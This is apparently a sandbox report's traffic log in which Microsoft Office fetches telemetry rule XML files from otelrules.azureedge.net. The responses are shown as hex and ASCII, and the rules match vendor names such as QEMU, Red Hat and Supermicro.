2024-10-16 15:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:42 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: e635f68c-501e-0029-54d8-1ed0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155642Z-r197bdfb6b4tq6ld2w31u8wmcc00000008h000000000fcr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c7f33fb6-601e-003d-2ed8-1e6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155642Z-16b659b4499w2mwkzdhtwtt78c0000000960000000002g2s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:42 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0c0228f0-601e-0084-03d8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-15b8d89586fsx9lfqmgrbzpgmg00000002e0000000001qw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:43 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0c00d68f-601e-0084-7bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-15b8d89586fsx9lfqmgrbzpgmg000000028000000000phtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:43 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad40b2af-901e-0064-67d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-r197bdfb6b4gdlhqvqfas3qb5400000008c0000000003bty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:43 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a14db6d3-f01e-003f-58d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-16b659b44994gzgd4bz42hx7vg00000007m000000000q6k0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2ef97557-601e-0070-42d8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-15b8d89586f8l5967udr7u2zg400000000w0000000000mdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: dd485b55-801e-0035-4fd8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-16b659b44994gzgd4bz42hx7vg00000007k000000000u9uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 2bfc10a8-001e-00ad-20d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155643Z-16b659b449999m8hsuhyf00exs00000008c000000000sc54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:43 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: c8d91fae-d01e-005a-7cd8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-15b8d89586f42m67uh3prmsdrs00000002dg000000003xfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:44 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: d4bc84b0-b01e-0097-04d8-1e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-16b659b4499gh2srh1fh903xkw00000008e000000000gtm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:44 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2ef97735-601e-0070-7dd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-16b659b44998rw28css0tq67fn00000009z0000000000kq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
